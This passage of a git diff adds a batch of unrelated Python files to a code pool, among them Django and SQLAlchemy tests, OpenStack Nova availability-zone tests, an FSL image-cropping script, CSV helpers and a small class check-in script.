using the file as source +print('LOADING CONFIGURATION') +conf = conf_file.readlines() +conf = list(map(lambda var: var.strip(), conf)) +conf = dict(map(lambda var: var.split(':'), conf)) + +# Start waiting for new mail using IDLE +while True: + conn = login(configuration=conf) + idle_result = idle(connection=conn) + disconnect(connection=conn) + if idle_result == 'new': + # start to grab mail and send page it + print('NEW MAIL, STARTING NEW HANDLING THREAD') + threading.Thread(name='EMAIL-PAGE-HANDLER', target=parse_mail(conf)).setDaemon(True) + + elif idle_result == 'timeout': + print('IDLE TIMEOUT, RECONNECTING') + elif idle_result == 'err': + sys.exit('IMAP SERVER MAY NOT SUPPORT IDLE') + else: + sys.exit('UNKNOWN IDLE ERROR') diff --git a/pool/shard008/Python/0078608_test_sqlalchemy.py b/pool/shard008/Python/0078608_test_sqlalchemy.py new file mode 100644 index 0000000000000000000000000000000000000000..8951db67133b93f95dddbce86880ec747c16dc11 --- /dev/null +++ b/pool/shard008/Python/0078608_test_sqlalchemy.py @@ -0,0 +1,186 @@ +# -*- coding: utf-8 -*- +from __future__ import print_function, unicode_literals + +import pytest +from django import forms +from sqlalchemy.orm.properties import ColumnProperty +from sqlalchemy.sql.schema import Column +from sqlalchemy.sql.type_api import TypeEngine +from sqlalchemy.types import Integer, String + +from test_project.many_to_many.alchemy import Article as M2MArticle, Publication +from test_project.many_to_one.alchemy import Article as M2OArticle +from test_project.one_to_one.alchemy import Place, Restaurant +from url_filter.exceptions import SkipFilter +from url_filter.filters import Filter +from url_filter.filtersets.sqlalchemy import SQLAlchemyModelFilterSet + + +class TestSQLAlchemyModelFilterSet(object): + def test_get_filters_no_model(self): + class PlaceFilterSet(SQLAlchemyModelFilterSet): + pass + + with pytest.raises(AssertionError): + PlaceFilterSet().get_filters() + + def test_get_filters_no_relations_place(self): + class PlaceFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = Place + allow_related = False + + filters = PlaceFilterSet().get_filters() + + assert set(filters.keys()) == { + 'id', 'name', 'address', + } + + assert isinstance(filters['id'], Filter) + assert isinstance(filters['id'].form_field, forms.IntegerField) + assert isinstance(filters['name'], Filter) + assert isinstance(filters['name'].form_field, forms.CharField) + assert isinstance(filters['address'], Filter) + assert isinstance(filters['address'].form_field, forms.CharField) + + def test_get_filters_no_relations_restaurant(self): + class RestaurantFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = Restaurant + allow_related = False + + filters = RestaurantFilterSet().get_filters() + + assert set(filters.keys()) == { + 'serves_pizza', 'serves_hot_dogs', 'place_id', + } + + assert isinstance(filters['serves_pizza'], Filter) + assert isinstance(filters['serves_pizza'].form_field, forms.BooleanField) + assert isinstance(filters['place_id'], Filter) + assert isinstance(filters['place_id'].form_field, forms.IntegerField) + assert isinstance(filters['serves_hot_dogs'], Filter) + assert isinstance(filters['serves_hot_dogs'].form_field, forms.BooleanField) + + def test_get_filters_with_only_reverse_relations(self): + class PlaceFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = Place + + filters = PlaceFilterSet().get_filters() + + assert set(filters.keys()) == { + 'id', 'name', 'address', 'restaurant', + } + assert set(filters['restaurant'].filters.keys()) == { + 'serves_pizza', 'serves_hot_dogs', 'waiter_set', 'place_id' + } + + assert isinstance(filters['id'], Filter) + assert isinstance(filters['id'].form_field, forms.IntegerField) + assert isinstance(filters['name'], Filter) + assert isinstance(filters['name'].form_field, forms.CharField) + assert isinstance(filters['address'], Filter) + assert isinstance(filters['address'].form_field, forms.CharField) + assert isinstance(filters['restaurant'], SQLAlchemyModelFilterSet) + + def test_get_filters_with_both_reverse_and_direct_relations(self): + class RestaurantFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = Restaurant + + filters = RestaurantFilterSet().get_filters() + + assert set(filters.keys()) == { + 'place', 'place_id', 'waiter_set', 'serves_hot_dogs', 'serves_pizza', + } + assert set(filters['place'].filters.keys()) == { + 'id', 'name', 'address', + } + assert set(filters['waiter_set'].filters.keys()) == { + 'id', 'name', 'restaurant_id' + } + + assert isinstance(filters['serves_hot_dogs'], Filter) + assert isinstance(filters['serves_hot_dogs'].form_field, forms.BooleanField) + assert isinstance(filters['serves_pizza'], Filter) + assert isinstance(filters['serves_pizza'].form_field, forms.BooleanField) + assert isinstance(filters['place'], SQLAlchemyModelFilterSet) + assert isinstance(filters['waiter_set'], SQLAlchemyModelFilterSet) + + def test_get_filters_with_reverse_many_to_many_relations(self): + class PublicationFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = Publication + + filters = PublicationFilterSet().get_filters() + + assert set(filters.keys()) == { + 'id', 'title', 'articles', + } + assert set(filters['articles'].filters.keys()) == { + 'id', 'headline', + } + + assert isinstance(filters['id'], Filter) + assert isinstance(filters['id'].form_field, forms.IntegerField) + assert isinstance(filters['title'], Filter) + assert isinstance(filters['title'].form_field, forms.CharField) + assert isinstance(filters['articles'], SQLAlchemyModelFilterSet) + + def test_get_filters_with_many_to_many_relations(self): + class ArticleFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = M2MArticle + + filters = ArticleFilterSet().get_filters() + + assert set(filters.keys()) == { + 'id', 'headline', 'publications', + } + assert set(filters['publications'].filters.keys()) == { + 'id', 'title', + } + + assert isinstance(filters['id'], Filter) + assert isinstance(filters['id'].form_field, forms.IntegerField) + assert isinstance(filters['headline'], Filter) + assert isinstance(filters['headline'].form_field, forms.CharField) + assert isinstance(filters['publications'], SQLAlchemyModelFilterSet) + + def test_get_filters_with_many_to_one_relations(self): + class ArticleFilterSet(SQLAlchemyModelFilterSet): + class Meta(object): + model = M2OArticle + + filters = ArticleFilterSet().get_filters() + + assert set(filters.keys()) == { + 'id', 'headline', 'pub_date', 'reporter', 'reporter_id', + } + assert set(filters['reporter'].filters.keys()) == { + 'id', 'email', 'first_name', 'last_name', + } + + assert isinstance(filters['id'], Filter) + assert isinstance(filters['id'].form_field, forms.IntegerField) + assert isinstance(filters['headline'], Filter) + assert isinstance(filters['headline'].form_field, forms.CharField) + assert isinstance(filters['pub_date'], Filter) + assert isinstance(filters['pub_date'].form_field, forms.DateField) + assert isinstance(filters['reporter'], SQLAlchemyModelFilterSet) + + def test_get_form_field_for_field(self): + fs = SQLAlchemyModelFilterSet() + + assert isinstance( + fs.get_form_field_for_field(ColumnProperty(Column('name', String(50)))), + forms.CharField + ) + assert isinstance( + fs.get_form_field_for_field(ColumnProperty(Column('name', Integer))), + forms.IntegerField + ) + + with pytest.raises(SkipFilter): + fs.get_form_field_for_field(ColumnProperty(Column('name', TypeEngine))) diff --git a/pool/shard008/Python/0078629_init__.py b/pool/shard008/Python/0078629_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..8f8c9ee7c80c14d27cd5a32e82b6b5ed6b4791d0 --- /dev/null +++ b/pool/shard008/Python/0078629_init__.py @@ -0,0 +1,21 @@ +# -*- coding: utf-8 -*- + +"""Read the Docs.""" + +import os.path + +from configparser import RawConfigParser + + +def get_version(setupcfg_path): + """Return package version from setup.cfg.""" + config = RawConfigParser() + config.read(setupcfg_path) + return config.get('metadata', 'version') + + +__version__ = get_version( + os.path.abspath( + os.path.join(os.path.dirname(__file__), '..', 'setup.cfg'), + ), +) diff --git a/pool/shard008/Python/0078630_crop_image.py b/pool/shard008/Python/0078630_crop_image.py new file mode 100644 index 0000000000000000000000000000000000000000..e0fe88b9404089283133f88abe32651fc4ca371b --- /dev/null +++ b/pool/shard008/Python/0078630_crop_image.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Crop images +#This program extracts zslices from all of the images in a folder(folder_in) and outputs the cropped images in an output folder(folder_out) +# It can be used to extract certain zslices from the atlas, or the template +import commands +import os +import getopt +import sys +status, path_sct = commands.getstatusoutput('echo $SCT_DIR') +# append path that contains scripts, to be able to load modules +sys.path.append(path_sct + '/scripts') +import sct_utils as sct + +def main(): + # params + # Old atlas created from the registration of all slices to the reference slice + # folder_in = '/home/django/cnaaman/data/data_marc/WMtracts_outputstest/final_results/' # path of atlas + # New atlas created from the registration of all slices to the adjacent slice + #folder_in = '/home/django/cnaaman/data/data_marc/WMtracts_outputsc_julien/final_results/' + #folder_out = '/home/django/cnaaman/code/stage/cropped_atlas/' + verbose = 1 + #zind = 10,110,210,310,410 + try: + opts, args = getopt.getopt(sys.argv[1:], 'hf:o:z:') # define flag + except getopt.GetoptError as err: # check if the arguments are defined + print str(err) # error + usage() + for opt, arg in opts: + if opt == '-h': + usage() + if opt == '-f': + folder_in = str(arg) + if opt == '-o': + folder_out = str(arg) + if opt == '-z': + zind = arg + zind = zind.split(',') + + # create output folder + if os.path.exists(folder_out): + sct.printv('WARNING: Output folder already exists. Deleting it...', verbose) + sct.run('rm -rf '+folder_out) + sct.run('mkdir '+folder_out) + + # get atlas files + status, output = sct.run('ls '+folder_in+'*.nii.gz', verbose) + fname_list = output.split() + + + # loop across atlas + for i in xrange(0, len(fname_list)): + path_list, file_list, ext_list = sct.extract_fname(fname_list[i]) + crop_file(fname_list[i], folder_out, zind) + +def crop_file(fname_data, folder_out, zind): + # extract file name + path_list, file_list, ext_list = sct.extract_fname(fname_data) + + # crop file with fsl, and then merge back + cmd = 'fslmerge -z '+folder_out+file_list + for i in zind: + sct.run('fslroi '+fname_data+' z'+str(zind.index(i))+'_'+file_list+' 0 -1 0 -1 '+str(i)+' 1') + cmd = cmd+' z'+str(zind.index(i))+'_'+file_list + sct.run(cmd) + +def usage(): + print '\n' \ + 'crop_image\n' \ + '----------------------------------------------------------------------------------------------------------\n'\ + 'DESCRIPTION\n' \ + ' This program extracts zslices from all of the images in a folder(folder_in) and outputs the cropped images in an output folder(folder_out) \n' \ + ' USAGE\n' \ + ' crop_image_folder -f input_folder -o output_folder -z z_ind \n' \ + ' Example : crop_image.py -f folder_img/ -o cropped_img1/ -z 10,110,210,310,410 \n' + sys.exit(2) + +if __name__ == "__main__": + # call main function + main() \ No newline at end of file diff --git a/pool/shard008/Python/0078632_setup.py b/pool/shard008/Python/0078632_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..c3a22c519de254ab3c85c889f24fe28b4f063f40 --- /dev/null +++ b/pool/shard008/Python/0078632_setup.py @@ -0,0 +1,40 @@ +from __future__ import unicode_literals + +import re + +from setuptools import find_packages, setup + + +def get_version(filename): + content = open(filename).read() + metadata = dict(re.findall("__([a-z]+)__ = '([^']+)'", content)) + return metadata['version'] + +setup( + name='v2gcalendar', + version=get_version('v2gcalendar/__init__.py'), + url='http://github.com/felixb/v2gcalendar/', + license='Apache License, Version 2.0', + author='Felix Bechstein', + author_email='f@ub0r.de', + description='Upload vcalendar files to your Google calendar', + long_description=open('README.rst').read(), + packages=find_packages(exclude=['tests', 'tests.*']), + zip_safe=False, + include_package_data=True, + install_requires=[ + 'setuptools', + 'icalendar', + 'google-api-python-client' + ], + entry_points={ + 'console_scripts': [ + 'v2gcalendar = v2gcalendar.main:main' + ] + }, + test_suite='nose.collector', + tests_require=[ + 'nose', + 'mock >= 1.0', + ], +) diff --git a/pool/shard008/Python/0078636_test_availability_zones.py b/pool/shard008/Python/0078636_test_availability_zones.py new file mode 100644 index 0000000000000000000000000000000000000000..335bf3103e5de212c4099fb061e82a907025de06 --- /dev/null +++ b/pool/shard008/Python/0078636_test_availability_zones.py @@ -0,0 +1,258 @@ +# Copyright 2013 Netease Corporation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +""" +Tests for availability zones +""" + +from oslo_config import cfg +import six + +from nova import availability_zones as az +from nova import context +from nova import db +from nova import test +from nova.tests.unit.api.openstack import fakes + +CONF = cfg.CONF +CONF.import_opt('internal_service_availability_zone', + 'nova.availability_zones') +CONF.import_opt('default_availability_zone', + 'nova.availability_zones') + + +class AvailabilityZoneTestCases(test.TestCase): + """Test case for aggregate based availability zone.""" + + def setUp(self): + super(AvailabilityZoneTestCases, self).setUp() + self.host = 'me' + self.availability_zone = 'nova-test' + self.default_az = CONF.default_availability_zone + self.default_in_az = CONF.internal_service_availability_zone + self.context = context.get_admin_context() + self.agg = self._create_az('az_agg', self.availability_zone) + + def tearDown(self): + db.aggregate_delete(self.context, self.agg['id']) + super(AvailabilityZoneTestCases, self).tearDown() + + def _create_az(self, agg_name, az_name): + agg_meta = {'name': agg_name} + agg = db.aggregate_create(self.context, agg_meta) + + metadata = {'availability_zone': az_name} + db.aggregate_metadata_add(self.context, agg['id'], metadata) + + return agg + + def _update_az(self, aggregate, az_name): + metadata = {'availability_zone': az_name} + db.aggregate_update(self.context, aggregate['id'], metadata) + + def _create_service_with_topic(self, topic, host, disabled=False): + values = { + 'binary': 'bin', + 'host': host, + 'topic': topic, + 'disabled': disabled, + } + return db.service_create(self.context, values) + + def _destroy_service(self, service): + return db.service_destroy(self.context, service['id']) + + def _add_to_aggregate(self, service, aggregate): + return db.aggregate_host_add(self.context, + aggregate['id'], service['host']) + + def _delete_from_aggregate(self, service, aggregate): + return db.aggregate_host_delete(self.context, + aggregate['id'], service['host']) + + def test_rest_availability_zone_reset_cache(self): + az._get_cache().add('cache', 'fake_value') + az.reset_cache() + self.assertIsNone(az._get_cache().get('cache')) + + def test_update_host_availability_zone_cache(self): + """Test availability zone cache could be update.""" + service = self._create_service_with_topic('compute', self.host) + + # Create a new aggregate with an AZ and add the host to the AZ + az_name = 'az1' + cache_key = az._make_cache_key(self.host) + agg_az1 = self._create_az('agg-az1', az_name) + self._add_to_aggregate(service, agg_az1) + az.update_host_availability_zone_cache(self.context, self.host) + self.assertEqual(az._get_cache().get(cache_key), 'az1') + az.update_host_availability_zone_cache(self.context, self.host, 'az2') + self.assertEqual(az._get_cache().get(cache_key), 'az2') + + def test_set_availability_zone_compute_service(self): + """Test for compute service get right availability zone.""" + service = self._create_service_with_topic('compute', self.host) + services = db.service_get_all(self.context) + + # The service is not add into aggregate, so confirm it is default + # availability zone. + new_service = az.set_availability_zones(self.context, services)[0] + self.assertEqual(new_service['availability_zone'], + self.default_az) + + # The service is added into aggregate, confirm return the aggregate + # availability zone. + self._add_to_aggregate(service, self.agg) + new_service = az.set_availability_zones(self.context, services)[0] + self.assertEqual(new_service['availability_zone'], + self.availability_zone) + + self._destroy_service(service) + + def test_set_availability_zone_unicode_key(self): + """Test set availability zone cache key is unicode.""" + service = self._create_service_with_topic('network', self.host) + services = db.service_get_all(self.context) + az.set_availability_zones(self.context, services) + self.assertIsInstance(services[0]['host'], six.text_type) + cached_key = az._make_cache_key(services[0]['host']) + self.assertIsInstance(cached_key, str) + self._destroy_service(service) + + def test_set_availability_zone_not_compute_service(self): + """Test not compute service get right availability zone.""" + service = self._create_service_with_topic('network', self.host) + services = db.service_get_all(self.context) + new_service = az.set_availability_zones(self.context, services)[0] + self.assertEqual(new_service['availability_zone'], + self.default_in_az) + self._destroy_service(service) + + def test_get_host_availability_zone(self): + """Test get right availability zone by given host.""" + self.assertEqual(self.default_az, + az.get_host_availability_zone(self.context, self.host)) + + service = self._create_service_with_topic('compute', self.host) + self._add_to_aggregate(service, self.agg) + + self.assertEqual(self.availability_zone, + az.get_host_availability_zone(self.context, self.host)) + + def test_update_host_availability_zone(self): + """Test availability zone could be update by given host.""" + service = self._create_service_with_topic('compute', self.host) + + # Create a new aggregate with an AZ and add the host to the AZ + az_name = 'az1' + agg_az1 = self._create_az('agg-az1', az_name) + self._add_to_aggregate(service, agg_az1) + self.assertEqual(az_name, + az.get_host_availability_zone(self.context, self.host)) + # Update AZ + new_az_name = 'az2' + self._update_az(agg_az1, new_az_name) + self.assertEqual(new_az_name, + az.get_host_availability_zone(self.context, self.host)) + + def test_delete_host_availability_zone(self): + """Test availability zone could be deleted successfully.""" + service = self._create_service_with_topic('compute', self.host) + + # Create a new aggregate with an AZ and add the host to the AZ + az_name = 'az1' + agg_az1 = self._create_az('agg-az1', az_name) + self._add_to_aggregate(service, agg_az1) + self.assertEqual(az_name, + az.get_host_availability_zone(self.context, self.host)) + # Delete the AZ via deleting the aggregate + self._delete_from_aggregate(service, agg_az1) + self.assertEqual(self.default_az, + az.get_host_availability_zone(self.context, self.host)) + + def test_get_availability_zones(self): + """Test get_availability_zones.""" + + # When the param get_only_available of get_availability_zones is set + # to default False, it returns two lists, zones with at least one + # enabled services, and zones with no enabled services, + # when get_only_available is set to True, only return a list of zones + # with at least one enabled services. + # Use the following test data: + # + # zone host enabled + # nova-test host1 Yes + # nova-test host2 No + # nova-test2 host3 Yes + # nova-test3 host4 No + # host5 No + + agg2 = self._create_az('agg-az2', 'nova-test2') + agg3 = self._create_az('agg-az3', 'nova-test3') + + service1 = self._create_service_with_topic('compute', 'host1', + disabled=False) + service2 = self._create_service_with_topic('compute', 'host2', + disabled=True) + service3 = self._create_service_with_topic('compute', 'host3', + disabled=False) + service4 = self._create_service_with_topic('compute', 'host4', + disabled=True) + self._create_service_with_topic('compute', 'host5', + disabled=True) + + self._add_to_aggregate(service1, self.agg) + self._add_to_aggregate(service2, self.agg) + self._add_to_aggregate(service3, agg2) + self._add_to_aggregate(service4, agg3) + + zones, not_zones = az.get_availability_zones(self.context) + + self.assertEqual(zones, ['nova-test', 'nova-test2']) + self.assertEqual(not_zones, ['nova-test3', 'nova']) + + zones = az.get_availability_zones(self.context, True) + + self.assertEqual(zones, ['nova-test', 'nova-test2']) + + zones, not_zones = az.get_availability_zones(self.context, + with_hosts=True) + + self.assertJsonEqual(zones, + [(u'nova-test2', set([u'host3'])), + (u'nova-test', set([u'host1']))]) + self.assertJsonEqual(not_zones, + [(u'nova-test3', set([u'host4'])), + (u'nova', set([u'host5']))]) + + def test_get_instance_availability_zone_default_value(self): + """Test get right availability zone by given an instance.""" + fake_inst_id = 162 + fake_inst = fakes.stub_instance(fake_inst_id, host=self.host) + + self.assertEqual(self.default_az, + az.get_instance_availability_zone(self.context, fake_inst)) + + def test_get_instance_availability_zone_from_aggregate(self): + """Test get availability zone from aggregate by given an instance.""" + host = 'host170' + service = self._create_service_with_topic('compute', host) + self._add_to_aggregate(service, self.agg) + + fake_inst_id = 174 + fake_inst = fakes.stub_instance(fake_inst_id, host=host) + + self.assertEqual(self.availability_zone, + az.get_instance_availability_zone(self.context, fake_inst)) diff --git a/pool/shard008/Python/0078637_generate_tables_fixtures.py b/pool/shard008/Python/0078637_generate_tables_fixtures.py new file mode 100644 index 0000000000000000000000000000000000000000..2d58bbd9994820199d7e3939c9dde112d37d0798 --- /dev/null +++ b/pool/shard008/Python/0078637_generate_tables_fixtures.py @@ -0,0 +1,45 @@ +import json +import os + +from django.core.management.base import BaseCommand +from django.core.serializers import serialize +from django.db import connection +from django.db.models import Q + +from geokit_tables.models import GeoKitTable, Record + + +class Command(BaseCommand): + help = ("Generates fixtures for `geokit_tables` app. " + "Assumes `cnty_24k97_data` table has been loaded.") + + def add_arguments(self, parser): + parser.add_argument( + 'schema', type=str, help='Schema to pull test data from.' + ) + + def handle(self, *args, **options): + connection.set_schema(options['schema']) + + table = GeoKitTable.objects.get(name='cnty_24k97_data') + records = Record.objects.filter( + Q(table=table), + Q(properties__fid=34) | Q(properties__fid=35) + ) + + serialized_table = serialize('json', [table]) + serialized_records = serialize('json', records) + + table_list = json.loads(serialized_table) + records_list = json.loads(serialized_records) + + fixtures = table_list + records_list + + with open( + os.path.join( + os.path.dirname(os.path.abspath(__file__)), + '../../fixtures/geokit_tables_fixtures.json' + ), + 'w' + ) as outfile: + json.dump(fixtures, outfile, sort_keys=True, indent=4) diff --git a/pool/shard008/Python/0078649_upstream_producer.py b/pool/shard008/Python/0078649_upstream_producer.py new file mode 100644 index 0000000000000000000000000000000000000000..cf69e96672359c9218798f9764a384474b447b32 --- /dev/null +++ b/pool/shard008/Python/0078649_upstream_producer.py @@ -0,0 +1,94 @@ +# -*- coding: utf-8 -*- +# upstream_producer.py +# Copyright (C) 2017 LEAP +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import json +from zope.interface import implementer +from twisted.internet import defer +from twisted.internet import reactor +from twisted.web.iweb import IBodyProducer +from twisted.web.iweb import UNKNOWN_LENGTH +from leap.soledad.client._crypto import DocInfo +from leap.soledad.client._crypto import BlobEncryptor + + +FIXED_REV = 'ImmutableRevision' # Blob content is immutable + + +@implementer(IBodyProducer) +class BlobsUpstreamProducer(object): + """ + Blob producer for upload streams. + """ + + def __init__(self, database, blobs_lengths, namespace, secret): + """ + Initialize the upload streamer. + + :param database: Local blobs SQLCipher backend instance + :type database: .sql.SQLiteBlobBackend + :param blobs_lengths: List of blobs with ids and sizes + :type blobs_lengths: [(blob_id:str, size:int)] + :param namespace: Namespace which this stream belongs + :type namespace: str + :param secret: The secret used to encrypt blobs. + :type secret: str + """ + self.blobs_lengths = blobs_lengths + self.db = database + self.length = UNKNOWN_LENGTH + self.pause = False + self.stop = False + self.namespace = namespace + self.secret = secret + + @defer.inlineCallbacks + def startProducing(self, consumer): + """ + Write blobs to the consumer. + + :param consumer: Any IConsumer provider. + :type consumer: twisted.internet.interfaces.IConsumer + + :return: A Deferred that fires when production ends. + :rtype: twisted.internet.defer.Deferred + """ + consumer.write(json.dumps(self.blobs_lengths) + '\n') + for blob_id, _ in self.blobs_lengths: + if self.stop: + break + if self.pause: + yield self.sleep(0.001) + continue + blob_fd = yield self.db.get(blob_id, namespace=self.namespace) + doc_info = DocInfo(blob_id, FIXED_REV) + crypter = BlobEncryptor(doc_info, blob_fd, secret=self.secret, + armor=False) + fd = yield crypter.encrypt() + consumer.write(fd.read()) + + def sleep(self, secs): + d = defer.Deferred() + reactor.callLater(secs, d.callback, None) + return d + + def pauseProducing(self): + self.pause = True + + def stopProducing(self): + self.stop = True + + def resumeProducing(self): + self.pause = False diff --git a/pool/shard008/Python/0078653_factories.py b/pool/shard008/Python/0078653_factories.py new file mode 100644 index 0000000000000000000000000000000000000000..4be8c4f11a47ebd411f38be61215424a7a9681e3 --- /dev/null +++ b/pool/shard008/Python/0078653_factories.py @@ -0,0 +1,174 @@ +""" +IMPORTANT: The following factories are still available, but no longer +maintained. We recommend to use https://github.com/klen/mixer for fixtures. + +""" +from io import BytesIO +import warnings + +from django.contrib.auth.models import User +from django.contrib.sites.models import Site +from django.core.files.uploadedfile import SimpleUploadedFile +from django.utils.timezone import now + +from hashlib import md5 + +try: + from PIL import Image +except ImportError: + pass + +try: + from factory import DjangoModelFactory +except ImportError: + from factory.django import DjangoModelFactory + +import factory + + +class HvadFactoryMixin(object): + """ + Overrides ``_create`` and takes care of creating a translation. + + """ + def __new__(cls, **kwargs): + warnings.warn( + 'Factories are deprecated and will be removed in django_libs>=2.0.' + ' Please use https://github.com/klen/mixer instead.', + DeprecationWarning) + return super(HvadFactoryMixin, cls).__new__(**kwargs) + + @classmethod + def _create(cls, target_class, *args, **kwargs): + obj = target_class(*args, **kwargs) + + # Factory boy and hvad behave a bit weird. When getting the object, + # obj.some_translatable_field is actually set although no translation + # object exists, yet. We have to cache the translatable values ... + cached_values = {} + for field in obj._translated_field_names: + if field in ['id', 'master', 'master_id', 'language_code']: + continue + cached_values[field] = getattr(obj, field) + + # ... because when calling translate, the translatable values will be + # lost on the obj ... + obj.translate(obj.language_code) + for field in obj._translated_field_names: + if field in ['id', 'master', 'master_id', 'language_code']: + continue + # ... so here we will put them back on the object, this time they + # will be saved on the translatable object. + setattr(obj, field, cached_values[field]) + + obj.save() + return obj + + +class UploadedImageFactory(object): + """Creates an uploaded image for testing.""" + def __new__(cls, **kwargs): + warnings.warn( + 'Factories are deprecated and will be removed in django_libs>=2.0.' + ' Please use https://github.com/klen/mixer instead.', + DeprecationWarning) + return cls._create_image(**kwargs) + + @classmethod + def _create_image(self, image_format='JPEG', filename='img.jpg'): + thumb = Image.new('RGB', (100, 100), 'blue') + thumb_io = BytesIO() + thumb.save(thumb_io, format=image_format) + self._image = SimpleUploadedFile(filename, thumb_io.getvalue()) + return self._image + + +class UserFactory(DjangoModelFactory): + """ + Creates a new ``User`` object. + + We use ``django-registration-email`` which allows users to sign in with + their email instead of a username. Since the username field is too short + for most emails, we don't really use the username field at all and just + store a md5 hash in there. + + Username will be a random 30 character md5 value. + Email will be ``userN@example.com`` with ``N`` being a counter. + Password will be ``test123`` by default. + + """ + username = factory.Sequence( + lambda n: md5(str(n).encode('utf-8')).hexdigest()[0:30] + ) + email = factory.Sequence(lambda n: 'user{0}@example.com'.format(n)) + + class Meta: + model = User + + def __new__(cls, **kwargs): + warnings.warn( + 'Factories are deprecated and will be removed in django_libs>=2.0.' + ' Please use https://github.com/klen/mixer instead.', + DeprecationWarning) + return super(UserFactory, cls).__new__(**kwargs) + + @classmethod + def _prepare(cls, create, **kwargs): + password = 'test123' + if 'password' in kwargs: + password = kwargs.pop('password') + user = super(UserFactory, cls)._prepare(create, **kwargs) + user.set_password(password) + if create: + user.save() + return user + + +class SiteFactory(DjangoModelFactory): + """ + Creates a new ``Site`` object. + + """ + name = factory.Sequence(lambda n: 'Example {}'.format(n)) + domain = factory.Sequence(lambda n: 'example{}.com'.format(n)) + + class Meta: + model = Site + + def __new__(cls, **kwargs): + warnings.warn( + 'Factories are deprecated and will be removed in django_libs>=2.0.' + ' Please use https://github.com/klen/mixer instead.', + DeprecationWarning) + return super(SiteFactory, cls).__new__(**kwargs) + + +try: + from mailer.models import MessageLog +except ImportError: # mailer not installed + pass +else: + class MessageLogFactory(DjangoModelFactory): + """ + Creates a new ``MessageLog`` object. + + We only use this factory for testing purposes (management command: + "cleanup_mailer_messagelog"). + + """ + message_data = 'foo' + when_added = factory.Sequence(lambda n: now()) + priority = '3' + result = '1' + log_message = 'foo' + + class Meta: + model = MessageLog + + def __new__(cls, **kwargs): + warnings.warn( + 'Factories are deprecated and will be removed in' + ' django_libs>=2.0. Please use https://github.com/klen/mixer' + ' instead.', + DeprecationWarning) + return super(MessageLogFactory, cls).__new__(**kwargs) diff --git a/pool/shard008/Python/0078658_csvhelper.py b/pool/shard008/Python/0078658_csvhelper.py new file mode 100644 index 0000000000000000000000000000000000000000..c621b4e21aa070760f22de37fec5252a7bab5081 --- /dev/null +++ b/pool/shard008/Python/0078658_csvhelper.py @@ -0,0 +1,127 @@ +"""Read CSV as unicode from both python 2 and 3 transparently.""" + +import csv +import warnings + + +# noinspection PyUnusedLocal +class UnicodeReader: + """CSV reader that can handle unicode. + + Must be used as a context manager: + + with UnicodeReader('myfile.csv') as reader: + pass # do things with reader + + :param filename: path to file to open + :param dialect: a csv.Dialect instance or dialect name + :param encoding: text encoding of file + :param fallback_encoding: encoding to fall back to if default + encoding fails; gives warning if it's used. + + All other parameters will be passed through to csv.reader() + """ + + def __init__( + self, + filename, + dialect=csv.excel, + encoding="utf-8", + fallback_encoding="latin-1", + **kwargs + ): + self.filename = filename + self.dialect = dialect + self.encoding = encoding + self.kwargs = kwargs + self.fileobj = None + self.reader = None + self.fallback_encoding = fallback_encoding + + def __enter__(self): + self.fileobj = open(self.filename, "rt", encoding=self.encoding, newline="") + try: + self.fileobj.read() + except UnicodeDecodeError: + warnings.warn( + "Decoding with '%s' codec failed; falling " + "back to '%s'" % (self.encoding, self.fallback_encoding) + ) + self.fileobj = open( + self.filename, "rt", encoding=self.fallback_encoding, newline="" + ) + self.encoding = self.fallback_encoding + finally: + self.fileobj.seek(0) + self.reader = csv.reader(self.fileobj, dialect=self.dialect, **self.kwargs) + return self + + def __exit__(self, type_, value, traceback): + self.fileobj.close() + + def __next__(self): + return next(self.reader) + + def __iter__(self): + return self + + +# noinspection PyUnusedLocal +class UnicodeWriter: + """CSV writer that can handle unicode. + + Must be used as a context manager: + + with UnicodeWriter('myfile.csv') as writer: + pass # do things with writer + + :param filename: path to file to open + :param dialect: a csv.Dialect instance or dialect name + :param encoding: text encoding of file + + All other parameters will be passed through to csv.writer() + """ + + def __init__( + self, + filename, + dialect=csv.excel, + encoding="utf-8", + lineterminator="\n", + **kwargs + ): + self.filename = filename + self.dialect = dialect + self.encoding = encoding + self.lineterminator = lineterminator + self.kwargs = kwargs + self.writer = None + self.fileobj = None + + def __enter__(self): + self.fileobj = open(self.filename, "wt", encoding=self.encoding, newline="") + self.writer = csv.writer( + self.fileobj, + dialect=self.dialect, + lineterminator=self.lineterminator, + **self.kwargs + ) + return self + + def __exit__(self, type_, value, traceback): + self.fileobj.close() + + def writerow(self, row): + """Write a row to the output. + + :param row: list of cells to write to the file + """ + self.writer.writerow(row) + + def writerows(self, rows): + """Write many rows to the output. + + :param rows: list of lists of cells to write + """ + for row in rows: + self.writerow(row) diff --git a/pool/shard008/Python/0078659_class_checkin.py b/pool/shard008/Python/0078659_class_checkin.py new file mode 100644 index 0000000000000000000000000000000000000000..f99f6b62175acc45261b48b009be48148918c1a6 --- /dev/null +++ b/pool/shard008/Python/0078659_class_checkin.py @@ -0,0 +1,58 @@ +import os +import time + +os.system('clear') + +running = True + +while running == True: + + found = False + + student_number = raw_input("Scan your card or enter number: ") + + + + if student_number.lower() == "exit": + running = False + print "Closing program" + time.sleep(2) + os.system('clear') + break + + infile = open("input.txt", "r") + while infile: + line = infile.readline() + if len(line) != 0: + id, student = line.split(",") + id = id.strip() + student = student.strip() + if student_number == id: + found = True + 